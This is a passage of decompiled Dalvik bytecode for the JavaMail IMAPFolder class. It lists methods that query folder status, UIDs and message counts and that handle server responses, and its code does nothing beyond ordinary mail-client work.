00000038  return-object           v0
:3A
0000003A  move-exception          v0
0000003C  monitor-exit            p0
0000003E  throw                   v0
:40
00000040  move-exception          v0
00000042  goto                    :32
          .catchall {:2 .. :6} :3A
          .catch MessagingException {:A .. :32} :40
          .catchall {:A .. :32} :3A
          .catchall {:32 .. :36} :3A
.end method

.method public declared-synchronized getNewMessageCount()I
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000006  if-nez                  v0, :A0
:A
0000000A  invoke-direct           IMAPFolder->checkExists()V, p0
:10
00000010  invoke-direct           IMAPFolder->getStatus()Status, p0
00000016  move-result-object      v0
00000018  iget                    v0, v0, Status->recent:I
:1C
0000001C  monitor-exit            p0
0000001E  return                  v0
:20
00000020  move-exception          v0
00000022  const/4                 v1, 0x0
:24
00000024  invoke-virtual          IMAPFolder->getStoreProtocol()IMAPProtocol, p0
0000002A  move-result-object      v1
0000002C  iget-object             v0, p0, IMAPFolder->fullName:String
00000030  invoke-virtual          IMAPProtocol->examine(String)MailboxInfo, v1, v0
00000036  move-result-object      v0
00000038  invoke-virtual          IMAPProtocol->close()V, v1
0000003E  iget                    v0, v0, MailboxInfo->recent:I
:42
00000042  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:48
00000048  goto                    :1C
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            p0
0000004E  throw                   v0
:50
00000050  move-exception          v0
:52
00000052  new-instance            v2, MessagingException
00000056  invoke-virtual          ProtocolException->getMessage()String, v0
0000005C  move-result-object      v3
0000005E  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000064  throw                   v2
:66
00000066  move-exception          v0
:68
00000068  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006E  throw                   v0
:70
00000070  move-exception          v0
00000072  new-instance            v1, StoreClosedException
00000076  iget-object             v2, p0, IMAPFolder->store:Store
0000007A  invoke-virtual          ConnectionException->getMessage()String, v0
00000080  move-result-object      v0
00000082  invoke-direct           StoreClosedException-><init>(Store, String)V, v1, v2, v0
00000088  throw                   v1
:8A
0000008A  move-exception          v0
0000008C  new-instance            v1, MessagingException
00000090  invoke-virtual          ProtocolException->getMessage()String, v0
00000096  move-result-object      v2
00000098  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000009E  throw                   v1
:A0
000000A0  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
000000A4  monitor-enter           v1
:A6
000000A6  const/4                 v0, 0x1
:A8
000000A8  invoke-direct           IMAPFolder->keepConnectionAlive(Z)V, p0, v0
000000AE  iget                    v0, p0, IMAPFolder->recent:I
:B2
000000B2  monitor-exit            v1
000000B4  goto                    :1C
:B6
000000B6  move-exception          v0
000000B8  monitor-exit            v1
:BA
000000BA  throw                   v0
:BC
000000BC  move-exception          v0
:BE
000000BE  new-instance            v2, FolderClosedException
000000C2  invoke-virtual          ConnectionException->getMessage()String, v0
000000C8  move-result-object      v0
000000CA  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, p0, v0
000000D0  throw                   v2
:D2
000000D2  move-exception          v0
000000D4  new-instance            v2, MessagingException
000000D8  invoke-virtual          ProtocolException->getMessage()String, v0
000000DE  move-result-object      v3
000000E0  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
000000E6  throw                   v2
          .catchall {:2 .. :10} :4A
          .catch BadCommandException {:10 .. :1C} :20
          .catch ConnectionException {:10 .. :1C} :70
          .catch ProtocolException {:10 .. :1C} :8A
          .catchall {:10 .. :1C} :4A
          .catch ProtocolException {:24 .. :42} :50
          .catchall {:24 .. :42} :66
          .catchall {:42 .. :48} :4A
          .catchall {:52 .. :66} :66
          .catchall {:68 .. :A6} :4A
          .catch ConnectionException {:A8 .. :B2} :BC
          .catch ProtocolException {:A8 .. :B2} :D2
          .catchall {:A8 .. :B2} :B6
          .catchall {:B2 .. :BA} :B6
          .catchall {:BA .. :BC} :4A
          .catchall {:BE .. :E8} :B6
.end method

.method public declared-synchronized getParent()Folder
          .registers 6
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          IMAPFolder->getSeparator()C, p0
00000008  move-result             v2
0000000A  iget-object             v0, p0, IMAPFolder->fullName:String
0000000E  invoke-virtual          String->lastIndexOf(I)I, v0, v2
00000014  move-result             v0
00000016  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000018  if-eq                   v0, v1, :42
:1C
0000001C  new-instance            v1, IMAPFolder
00000020  iget-object             v3, p0, IMAPFolder->fullName:String
00000024  const/4                 v4, 0x0
00000026  invoke-virtual          String->substring(I, I)String, v3, v4, v0
0000002C  move-result-object      v3
0000002E  iget-object             v0, p0, IMAPFolder->store:Store
00000032  check-cast              v0, IMAPStore
00000036  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, v1, v3, v2, v0
:3C
0000003C  move-object             v0, v1
:3E
0000003E  monitor-exit            p0
00000040  return-object           v0
:42
00000042  new-instance            v1, DefaultFolder
00000046  iget-object             v0, p0, IMAPFolder->store:Store
0000004A  check-cast              v0, IMAPStore
0000004E  invoke-direct           DefaultFolder-><init>(IMAPStore)V, v1, v0
:54
00000054  move-object             v0, v1
00000056  goto                    :3E
:58
00000058  move-exception          v0
0000005A  monitor-exit            p0
0000005C  throw                   v0
          .catchall {:2 .. :3C} :58
          .catchall {:42 .. :54} :58
.end method

.method public declared-synchronized getPermanentFlags()Flags
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPFolder->permanentFlags:Flags
00000006  invoke-virtual          Flags->clone()Object, v0
0000000C  move-result-object      v0
0000000E  check-cast              v0, Flags
:12
00000012  monitor-exit            p0
00000014  return-object           v0
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method public getQuota()[Quota
          .registers 3
00000000  const-string            v0, "QUOTA not supported"
00000004  new-instance            v1, IMAPFolder$12
00000008  invoke-direct           IMAPFolder$12-><init>(IMAPFolder)V, v1, p0
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  move-result-object      v0
00000016  check-cast              v0, [Quota
0000001A  return-object           v0
.end method

.method public declared-synchronized getSeparator()C
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-char               v0, p0, IMAPFolder->separator:C
00000006  const                   v1, 0xFFFF
0000000C  if-ne                   v0, v1, :3E
:10
00000010  const/4                 v0, 0x0
00000012  check-cast              v0, [ListInfo
00000016  new-instance            v0, IMAPFolder$3
0000001A  invoke-direct           IMAPFolder$3-><init>(IMAPFolder)V, v0, p0
00000020  invoke-virtual          IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000026  move-result-object      v0
00000028  check-cast              v0, [ListInfo
0000002C  if-eqz                  v0, :46
:30
00000030  const/4                 v1, 0x0
00000032  aget-object             v0, v0, v1
00000036  iget-char               v0, v0, ListInfo->separator:C
0000003A  iput-char               v0, p0, IMAPFolder->separator:C
:3E
0000003E  iget-char               v0, p0, IMAPFolder->separator:C
:42
00000042  monitor-exit            p0
00000044  return                  v0
:46
00000046  const/16                v0, 0x2F
:4A
0000004A  iput-char               v0, p0, IMAPFolder->separator:C
:4E
0000004E  goto                    :3E
:50
00000050  move-exception          v0
00000052  monitor-exit            p0
00000054  throw                   v0
          .catchall {:2 .. :42} :50
          .catchall {:4A .. :4E} :50
.end method

.method protected declared-synchronized getStoreProtocol()IMAPProtocol
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->connectionPoolDebug:Z
00000006  if-eqz                  v0, :18
:A
0000000A  iget-object             v0, p0, IMAPFolder->out:PrintStream
0000000E  const-string            v1, "DEBUG: getStoreProtocol() - borrowing a connection"
00000012  invoke-virtual          PrintStream->println(String)V, v0, v1
:18
00000018  iget-object             v0, p0, IMAPFolder->store:Store
0000001C  check-cast              v0, IMAPStore
00000020  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, v0
:26
00000026  move-result-object      v0
00000028  monitor-exit            p0
0000002A  return-object           v0
:2C
0000002C  move-exception          v0
0000002E  monitor-exit            p0
00000030  throw                   v0
          .catchall {:2 .. :26} :2C
.end method

.method public declared-synchronized getType()I
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000006  if-eqz                  v0, :20
:A
0000000A  iget-object             v0, p0, IMAPFolder->attributes:[String
0000000E  if-nez                  v0, :18
:12
00000012  invoke-virtual          IMAPFolder->exists()Z, p0
:18
00000018  iget                    v0, p0, IMAPFolder->type:I
:1C
0000001C  monitor-exit            p0
0000001E  return                  v0
:20
00000020  invoke-direct           IMAPFolder->checkExists()V, p0
:26
00000026  goto                    :18
:28
00000028  move-exception          v0
0000002A  monitor-exit            p0
0000002C  throw                   v0
          .catchall {:2 .. :1C} :28
          .catchall {:20 .. :26} :28
.end method

.method public declared-synchronized getUID(Message)J
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          Message->getFolder()Folder, p1
00000008  move-result-object      v0
0000000A  if-eq                   v0, p0, :24
:E
0000000E  new-instance            v0, NoSuchElementException
00000012  const-string            v1, "Message does not belong to this folder"
00000016  invoke-direct           NoSuchElementException-><init>(String)V, v0, v1
0000001C  throw                   v0
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
:24
00000024  invoke-direct           IMAPFolder->checkOpened()V, p0
0000002A  check-cast              p1, IMAPMessage
0000002E  invoke-virtual          IMAPMessage->getUID()J, p1
:34
00000034  move-result-wide        v0
00000036  const-wide/16           v2, 0xFFFFFFFFFFFFFFFF
0000003A  cmp-long                v2, v0, v2
0000003E  if-eqz                  v2, :46
:42
00000042  monitor-exit            p0
00000044  return-wide             v0
:46
00000046  iget-object             v2, p0, IMAPFolder->messageCacheLock:Object
0000004A  monitor-enter           v2
:4C
0000004C  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
00000052  move-result-object      v3
00000054  invoke-virtual          IMAPMessage->checkExpunged()V, p1
0000005A  invoke-virtual          IMAPMessage->getSequenceNumber()I, p1
00000060  move-result             v4
00000062  invoke-virtual          IMAPProtocol->fetchUID(I)UID, v3, v4
00000068  move-result-object      v3
0000006A  if-eqz                  v3, :A2
:6E
0000006E  iget-wide               v0, v3, UID->uid:J
00000072  invoke-virtual          IMAPMessage->setUID(J)V, p1, v0, v1
00000078  iget-object             v3, p0, IMAPFolder->uidTable:Hashtable
0000007C  if-nez                  v3, :8E
:80
00000080  new-instance            v3, Hashtable
00000084  invoke-direct           Hashtable-><init>()V, v3
0000008A  iput-object             v3, p0, IMAPFolder->uidTable:Hashtable
:8E
0000008E  iget-object             v3, p0, IMAPFolder->uidTable:Hashtable
00000092  new-instance            v4, Long
00000096  invoke-direct           Long-><init>(J)V, v4, v0, v1
0000009C  invoke-virtual          Hashtable->put(Object, Object)Object, v3, v4, p1
:A2
000000A2  monitor-exit            v2
000000A4  goto                    :42
:A6
000000A6  move-exception          v0
000000A8  monitor-exit            v2
:AA
000000AA  throw                   v0
:AC
000000AC  move-exception          v0
:AE
000000AE  new-instance            v1, FolderClosedException
000000B2  invoke-virtual          ConnectionException->getMessage()String, v0
000000B8  move-result-object      v0
000000BA  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000C0  throw                   v1
:C2
000000C2  move-exception          v0
000000C4  new-instance            v1, MessagingException
000000C8  invoke-virtual          ProtocolException->getMessage()String, v0
000000CE  move-result-object      v3
000000D0  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v3, v0
000000D6  throw                   v1
          .catchall {:2 .. :1E} :1E
          .catchall {:24 .. :34} :1E
          .catchall {:46 .. :4C} :1E
          .catch ConnectionException {:4C .. :A2} :AC
          .catch ProtocolException {:4C .. :A2} :C2
          .catchall {:4C .. :A2} :A6
          .catchall {:A2 .. :AA} :A6
          .catchall {:AA .. :AC} :1E
          .catchall {:AE .. :D8} :A6
.end method

.method public declared-synchronized getUIDNext()J
          .registers 6
00000000  const/4                 v2, 0x0
00000002  monitor-enter           p0
:4
00000004  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000008  if-eqz                  v0, :14
:C
0000000C  iget-wide               v0, p0, IMAPFolder->uidnext:J
:10
00000010  monitor-exit            p0
00000012  return-wide             v0
:14
00000014  invoke-virtual          IMAPFolder->getStoreProtocol()IMAPProtocol, p0
:1A
0000001A  move-result-object      v1
0000001C  const/4                 v0, 0x1
:1E
0000001E  new-array               v0, v0, [String
00000022  const/4                 v3, 0x0
00000024  const-string            v4, "UIDNEXT"
00000028  aput-object             v4, v0, v3
0000002C  iget-object             v3, p0, IMAPFolder->fullName:String
00000030  invoke-virtual          IMAPProtocol->status(String, [String)Status, v1, v3, v0
:36
00000036  move-result-object      v2
:38
00000038  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:3E
0000003E  iget-wide               v0, v2, Status->uidnext:J
:42
00000042  goto                    :10
:44
00000044  move-exception          v0
00000046  move-object             v1, v2
:48
00000048  new-instance            v2, MessagingException
0000004C  const-string            v3, "Cannot obtain UIDNext"
00000050  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000056  throw                   v2
:58
00000058  move-exception          v0
:5A
0000005A  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060  throw                   v0
:62
00000062  move-exception          v0
00000064  monitor-exit            p0
00000066  throw                   v0
:68
00000068  move-exception          v0
0000006A  move-object             v1, v2
:6C
0000006C  invoke-direct           IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
:72
00000072  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:78
00000078  goto                    :3E
:7A
0000007A  move-exception          v0
0000007C  move-object             v1, v2
:7E
0000007E  new-instance            v2, MessagingException
00000082  invoke-virtual          ProtocolException->getMessage()String, v0
00000088  move-result-object      v3
0000008A  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000090  throw                   v2
:92
00000092  move-exception          v0
00000094  move-object             v1, v2
00000096  goto                    :5A
:98
00000098  move-exception          v0
0000009A  goto                    :7E
:9C
0000009C  move-exception          v0
0000009E  goto                    :6C
:A0
000000A0  move-exception          v0
000000A2  goto                    :48
          .catchall {:4 .. :10} :62
          .catch BadCommandException {:14 .. :1A} :44
          .catch ConnectionException {:14 .. :1A} :68
          .catch ProtocolException {:14 .. :1A} :7A
          .catchall {:14 .. :1A} :92
          .catch BadCommandException {:1E .. :36} :A0
          .catch ConnectionException {:1E .. :36} :9C
          .catch ProtocolException {:1E .. :36} :98
          .catchall {:1E .. :36} :58
          .catchall {:38 .. :42} :62
          .catchall {:48 .. :58} :58
          .catchall {:5A .. :62} :62
          .catchall {:6C .. :72} :58
          .catchall {:72 .. :78} :62
          .catchall {:7E .. :92} :58
.end method

.method public declared-synchronized getUIDValidity()J
          .registers 6
00000000  const/4                 v2, 0x0
00000002  monitor-enter           p0
:4
00000004  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000008  if-eqz                  v0, :14
:C
0000000C  iget-wide               v0, p0, IMAPFolder->uidvalidity:J
:10
00000010  monitor-exit            p0
00000012  return-wide             v0
:14
00000014  invoke-virtual          IMAPFolder->getStoreProtocol()IMAPProtocol, p0
:1A
0000001A  move-result-object      v1
0000001C  const/4                 v0, 0x1
:1E
0000001E  new-array               v0, v0, [String
00000022  const/4                 v3, 0x0
00000024  const-string            v4, "UIDVALIDITY"
00000028  aput-object             v4, v0, v3
0000002C  iget-object             v3, p0, IMAPFolder->fullName:String
00000030  invoke-virtual          IMAPProtocol->status(String, [String)Status, v1, v3, v0
:36
00000036  move-result-object      v2
:38
00000038  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:3E
0000003E  iget-wide               v0, v2, Status->uidvalidity:J
:42
00000042  goto                    :10
:44
00000044  move-exception          v0
00000046  move-object             v1, v2
:48
00000048  new-instance            v2, MessagingException
0000004C  const-string            v3, "Cannot obtain UIDValidity"
00000050  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000056  throw                   v2
:58
00000058  move-exception          v0
:5A
0000005A  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060  throw                   v0
:62
00000062  move-exception          v0
00000064  monitor-exit            p0
00000066  throw                   v0
:68
00000068  move-exception          v0
0000006A  move-object             v1, v2
:6C
0000006C  invoke-direct           IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
:72
00000072  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:78
00000078  goto                    :3E
:7A
0000007A  move-exception          v0
0000007C  move-object             v1, v2
:7E
0000007E  new-instance            v2, MessagingException
00000082  invoke-virtual          ProtocolException->getMessage()String, v0
00000088  move-result-object      v3
0000008A  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000090  throw                   v2
:92
00000092  move-exception          v0
00000094  move-object             v1, v2
00000096  goto                    :5A
:98
00000098  move-exception          v0
0000009A  goto                    :7E
:9C
0000009C  move-exception          v0
0000009E  goto                    :6C
:A0
000000A0  move-exception          v0
000000A2  goto                    :48
          .catchall {:4 .. :10} :62
          .catch BadCommandException {:14 .. :1A} :44
          .catch ConnectionException {:14 .. :1A} :68
          .catch ProtocolException {:14 .. :1A} :7A
          .catchall {:14 .. :1A} :92
          .catch BadCommandException {:1E .. :36} :A0
          .catch ConnectionException {:1E .. :36} :9C
          .catch ProtocolException {:1E .. :36} :98
          .catchall {:1E .. :36} :58
          .catchall {:38 .. :42} :62
          .catchall {:48 .. :58} :58
          .catchall {:5A .. :62} :62
          .catchall {:6C .. :72} :58
          .catchall {:72 .. :78} :62
          .catchall {:7E .. :92} :58
.end method

.method public declared-synchronized getUnreadMessageCount()I
          .registers 6
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000006  if-nez                  v0, :5C
:A
0000000A  invoke-direct           IMAPFolder->checkExists()V, p0
:10
00000010  invoke-direct           IMAPFolder->getStatus()Status, p0
00000016  move-result-object      v0
00000018  iget                    v0, v0, Status->unseen:I
:1C
0000001C  monitor-exit            p0
0000001E  return                  v0
:20
00000020  move-exception          v0
00000022  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000024  goto                    :1C
:26
00000026  move-exception          v0
:28
00000028  new-instance            v1, StoreClosedException
0000002C  iget-object             v2, p0, IMAPFolder->store:Store
00000030  invoke-virtual          ConnectionException->getMessage()String, v0
00000036  move-result-object      v0
00000038  invoke-direct           StoreClosedException-><init>(Store, String)V, v1, v2, v0
0000003E  throw                   v1
:40
00000040  move-exception          v0
00000042  monitor-exit            p0
00000044  throw                   v0
:46
00000046  move-exception          v0
:48
00000048  new-instance            v1, MessagingException
0000004C  invoke-virtual          ProtocolException->getMessage()String, v0
00000052  move-result-object      v2
00000054  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000005A  throw                   v1
:5C
0000005C  new-instance            v0, Flags
00000060  invoke-direct           Flags-><init>()V, v0
00000066  sget-object             v1, Flags$Flag->SEEN:Flags$Flag
0000006A  invoke-virtual          Flags->add(Flags$Flag)V, v0, v1
:70
00000070  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000074  monitor-enter           v1
:76
00000076  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
0000007C  move-result-object      v2
0000007E  new-instance            v3, FlagTerm
00000082  const/4                 v4, 0x0
00000084  invoke-direct           FlagTerm-><init>(Flags, Z)V, v3, v0, v4
0000008A  invoke-virtual          IMAPProtocol->search(SearchTerm)[I, v2, v3
00000090  move-result-object      v0
00000092  array-length            v0, v0
00000094  monitor-exit            v1
00000096  goto                    :1C
:98
00000098  move-exception          v0
0000009A  monitor-exit            v1
:9C
0000009C  throw                   v0
:9E
0000009E  move-exception          v0
:A0
000000A0  new-instance            v1, FolderClosedException
000000A4  invoke-virtual          ConnectionException->getMessage()String, v0
000000AA  move-result-object      v0
000000AC  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000B2  throw                   v1
:B4
000000B4  move-exception          v0
000000B6  new-instance            v1, MessagingException
000000BA  invoke-virtual          ProtocolException->getMessage()String, v0
000000C0  move-result-object      v2
000000C2  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C8  throw                   v1
          .catchall {:2 .. :10} :40
          .catch BadCommandException {:10 .. :1C} :20
          .catch ConnectionException {:10 .. :1C} :26
          .catch ProtocolException {:10 .. :1C} :46
          .catchall {:10 .. :1C} :40
          .catchall {:28 .. :40} :40
          .catchall {:48 .. :70} :40
          .catch ConnectionException {:70 .. :76} :9E
          .catch ProtocolException {:70 .. :76} :B4
          .catchall {:70 .. :76} :40
          .catchall {:76 .. :9C} :98
          .catch ConnectionException {:9C .. :9E} :9E
          .catch ProtocolException {:9C .. :9E} :B4
          .catchall {:9C .. :9E} :40
          .catchall {:A0 .. :CA} :40
.end method

.method public handleResponse(Response)V
          .registers 8
00000000  const/4                 v5, 0x1
00000002  const/4                 v2, 0x0
00000004  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000008  if-nez                  v0, :28
:C
0000000C  iget-object             v0, p0, IMAPFolder->messageCacheLock:Object
00000010  invoke-static           Thread->holdsLock(Object)Z, v0
00000016  move-result             v0
00000018  if-nez                  v0, :28
:1C
0000001C  new-instance            v0, AssertionError
00000020  invoke-direct           AssertionError-><init>()V, v0
00000026  throw                   v0
:28
00000028  invoke-virtual          Response->isOK()Z, p1
0000002E  move-result             v0
00000030  if-nez                  v0, :58
:34
00000034  invoke-virtual          Response->isNO()Z, p1
0000003A  move-result             v0
0000003C  if-nez                  v0, :58
:40
00000040  invoke-virtual          Response->isBAD()Z, p1
00000046  move-result             v0
00000048  if-nez                  v0, :58
:4C
0000004C  invoke-virtual          Response->isBYE()Z, p1
00000052  move-result             v0
00000054  if-eqz                  v0, :66
:58
00000058  iget-object             v0, p0, IMAPFolder->store:Store
0000005C  check-cast              v0, IMAPStore
00000060  invoke-virtual          IMAPStore->handleResponseCode(Response)V, v0, p1
:66
00000066  invoke-virtual          Response->isBYE()Z, p1
0000006C  move-result             v0
0000006E  if-eqz                  v0, :82
:72
00000072  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000076  if-eqz                  v0, :80
:7A
0000007A  invoke-direct           IMAPFolder->cleanup(Z)V, p0, v2
:80
00000080  return-void
:82
00000082  invoke-virtual          Response->isOK()Z, p1
00000088  move-result             v0
0000008A  if-nez                  v0, :80
:8E
0000008E  invoke-virtual          Response->isUnTagged()Z, p1
00000094  move-result             v0
00000096  if-eqz                  v0, :80
:9A
0000009A  instance-of             v0, p1, IMAPResponse
0000009E  if-nez                  v0, :E2
:A2
000000A2  iget-object             v0, p0, IMAPFolder->out:PrintStream
000000A6  new-instance            v1, StringBuilder
000000AA  const-string            v2, "UNEXPECTED RESPONSE : "
000000AE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000B4  invoke-virtual          Response->toString()String, p1
000000BA  move-result-object      v2
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000C2  move-result-object      v1
000000C4  invoke-virtual          StringBuilder->toString()String, v1
000000CA  move-result-object      v1
000000CC  invoke-virtual          PrintStream->println(String)V, v0, v1
000000D2  iget-object             v0, p0, IMAPFolder->out:PrintStream
000000D6  const-string            v1, "CONTACT javamail@sun.com"
000000DA  invoke-virtual          PrintStream->println(String)V, v0, v1
000000E0  goto                    :80
:E2
000000E2  check-cast              p1, IMAPResponse
000000E6  const-string            v0, "EXISTS"
000000EA  invoke-virtual          IMAPResponse->keyEquals(String)Z, p1, v0
000000F0  move-result             v0
000000F2  if-eqz                  v0, :156
:F6
000000F6  invoke-virtual          IMAPResponse->getNumber()I, p1
000000FC  move-result             v0
000000FE  iget                    v1, p0, IMAPFolder->realTotal:I
00000102  if-le                   v0, v1, :80
:106
00000106  iget                    v1, p0, IMAPFolder->realTotal:I
0000010A  sub-int                 v1, v0, v1
0000010E  new-array               v3, v1, [Message
00000112  move                    v0, v2
:114
00000114  if-lt                   v0, v1, :120
:118
00000118  invoke-virtual          IMAPFolder->notifyMessageAddedListeners([Message)V, p0, v3
0000011E  goto                    :80
:120
00000120  new-instance            v2, IMAPMessage
00000124  iget                    v4, p0, IMAPFolder->total:I
00000128  add-int/lit8            v4, v4, 0x1
0000012C  iput                    v4, p0, IMAPFolder->total:I
00000130  iget                    v5, p0, IMAPFolder->realTotal:I
00000134  add-int/lit8            v5, v5, 0x1
00000138  iput                    v5, p0, IMAPFolder->realTotal:I
0000013C  invoke-direct           IMAPMessage-><init>(IMAPFolder, I, I)V, v2, p0, v4, v5
00000142  aput-object             v2, v3, v0
00000146  iget-object             v4, p0, IMAPFolder->messageCache:Vector
0000014A  invoke-virtual          Vector->addElement(Object)V, v4, v2
00000150  add-int/lit8            v0, v0, 0x1
00000154  goto                    :114
:156
00000156  const-string            v0, "EXPUNGE"
0000015A  invoke-virtual          IMAPResponse->keyEquals(String)Z, p1, v0
00000160  move-result             v0
00000162  if-eqz                  v0, :1EC
:166
00000166  invoke-virtual          IMAPResponse->getNumber()I, p1
0000016C  move-result             v0
0000016E  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v0
00000174  move-result-object      v3
00000176  invoke-virtual          IMAPMessage->setExpunged(Z)V, v3, v5
0000017C  invoke-virtual          IMAPMessage->getMessageNumber()I, v3
00000182  move-result             v0
00000184  move                    v1, v0
:186
00000186  iget                    v0, p0, IMAPFolder->total:I
0000018A  if-lt                   v1, v0, :1B4
:18E
0000018E  iget                    v0, p0, IMAPFolder->realTotal:I
00000192  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000196  iput                    v0, p0, IMAPFolder->realTotal:I
0000019A  iget-boolean            v0, p0, IMAPFolder->doExpungeNotification:Z
0000019E  if-eqz                  v0, :80
:1A2
000001A2  new-array               v0, v5, [Message
000001A6  aput-object             v3, v0, v2
000001AA  invoke-virtual          IMAPFolder->notifyMessageRemovedListeners(Z, [Message)V, p0, v2, v0
000001B0  goto/16                 :80
:1B4
000001B4  iget-object             v0, p0, IMAPFolder->messageCache:Vector
000001B8  invoke-virtual          Vector->elementAt(I)Object, v0, v1
000001BE  move-result-object      v0
000001C0  check-cast              v0, IMAPMessage
000001C4  invoke-virtual          IMAPMessage->isExpunged()Z, v0
000001CA  move-result             v4
000001CC  if-eqz                  v4, :1D8
:1D0
000001D0  add-int/lit8            v0, v1, 0x1
000001D4  move                    v1, v0
000001D6  goto                    :186
:1D8
000001D8  invoke-virtual          IMAPMessage->getSequenceNumber()I, v0
000001DE  move-result             v4
000001E0  add-int/lit8            v4, v4, 0xFFFFFFFFFFFFFFFF
000001E4  invoke-virtual          IMAPMessage->setSequenceNumber(I)V, v0, v4
000001EA  goto                    :1D0
:1EC
000001EC  const-string            v0, "FETCH"
000001F0  invoke-virtual          IMAPResponse->keyEquals(String)Z, p1, v0
000001F6  move-result             v0
000001F8  if-eqz                  v0, :258
:1FC
000001FC  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000200  if-nez                  v0, :21C
:204
00000204  instance-of             v0, p1, FetchResponse
00000208  if-nez                  v0, :21C
:20C
0000020C  new-instance            v0, AssertionError
00000210  const-string            v1, "!ir instanceof FetchResponse"
00000214  invoke-direct           AssertionError-><init>(Object)V, v0, v1
0000021A  throw                   v0
:21C
0000021C  check-cast              p1, FetchResponse
00000220  const-class             v0, Flags
00000224  invoke-virtual          FetchResponse->getItem(Class)Item, p1, v0
0000022A  move-result-object      v0
0000022C  check-cast              v0, Flags
00000230  if-eqz                  v0, :80
:234
00000234  invoke-virtual          FetchResponse->getNumber()I, p1
0000023A  move-result             v1
0000023C  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v1
00000242  move-result-object      v1
00000244  if-eqz                  v1, :80
:248
00000248  invoke-virtual          IMAPMessage->_setFlags(Flags)V, v1, v0
0000024E  invoke-virtual          IMAPFolder->notifyMessageChangedListeners(I, Message)V, p0, v5, v1
00000254  goto/16                 :80
:258
00000258  const-string            v0, "RECENT"
0000025C  invoke-virtual          IMAPResponse->keyEquals(String)Z, p1, v0
00000262  move-result             v0
00000264  if-eqz                  v0, :80
:268
00000268  invoke-virtual          IMAPResponse->getNumber()I, p1
0000026E  move-result             v0
00000270  iput                    v0, p0, IMAPFolder->recent:I
00000274  goto/16                 :80
.end method

.method handleResponses([Response)V
          .registers 4
00000000  const/4                 v0, 0x0
:2
00000002  array-length            v1, p1
00000004  if-lt                   v0, v1, :A
:8
00000008  return-void
:A
0000000A  aget-object             v1, p1, v0
0000000E  if-eqz                  v1, :1C
:12
00000012  aget-object             v1, p1, v0
00000016  invoke-virtual          IMAPFolder->handleResponse(Response)V, p0, v1
:1C
0000001C  add-int/lit8            v0, v0, 0x1
00000020  goto                    :2
.end method

.method public declared-synchronized hasNewMessages()Z
          .registers 5
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
00000004  monitor-enter           p0
:6
00000006  iget-boolean            v2, p0, IMAPFolder->opened:Z
0000000A  if-eqz                  v2, :66
:E
0000000E  iget-object             v2, p0, IMAPFolder->messageCacheLock:Object
00000012  monitor-enter           v2
:14
00000014  const/4                 v3, 0x1
:16
00000016  invoke-direct           IMAPFolder->keepConnectionAlive(Z)V, p0, v3
:1C
0000001C  iget                    v3, p0, IMAPFolder->recent:I
00000020  if-lez                  v3, :62
